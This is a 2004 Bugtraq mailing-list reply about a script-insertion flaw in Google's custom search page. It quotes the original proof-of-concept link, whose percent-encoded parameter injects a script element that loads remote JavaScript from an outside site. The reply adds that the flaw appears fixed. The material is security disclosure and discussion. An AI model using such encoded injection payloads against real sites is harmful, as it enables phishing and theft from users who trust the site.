[37054] in bugtraq
Re: Google Script Insertion Exploit
daemon@ATHENA.MIT.EDU (Jérôme" ATHIAS)
Mon Oct 25 11:01:23 2004
Date: 23 Oct 2004 15:52:10 -0000
Message-ID: <20041023155210.21787.qmail@www.securityfocus.com>
Content-Type: text/plain
Content-Disposition: inline
Content-Transfer-Encoding: binary
MIME-Version: 1.0
From: "Jérôme" ATHIAS <jerome.athias@caramail.com>
To: bugtraq@securityfocus.com
In-Reply-To: <20041019163859.32238.qmail@www.securityfocus.com>
>The exploit is easiest to produce through a custom google search form which
>are commonly seen, used and understood on the web, but you can also do it
>through a simple link, this one works in IE:
>
>http://www.google.com/custom?cof=L:%6a%61%76%61%73%63%72%69%70%74%3a%6a%61%76%61%73%63%72%69%70%74%3a%64%6f%63%75%6d%65%6e%74%2e%61%70%70%65%6e%64%43%68%69%6c%64%28%64%6f%63%75%6d%65%6e%74%2e%63%72%65%61%74%65%45%6c%65%6d%65%6e%74%28%27%73%63%72%69%70%74%27%29%29%2e%73%72%63%3d%27%68%74%74%70%3a%2f%2f%6a%69%62%62%65%72%69%6e%67%2e%63%6f%6d%2f%74%65%73%74%32%2e%6a%73%27
>
Good work.
Seems to be fixed:
http://news.netcraft.com/archives/2004/10/22/google_fix_second_phishing_vulnerability.html
Regards,
Jerome ATHIAS
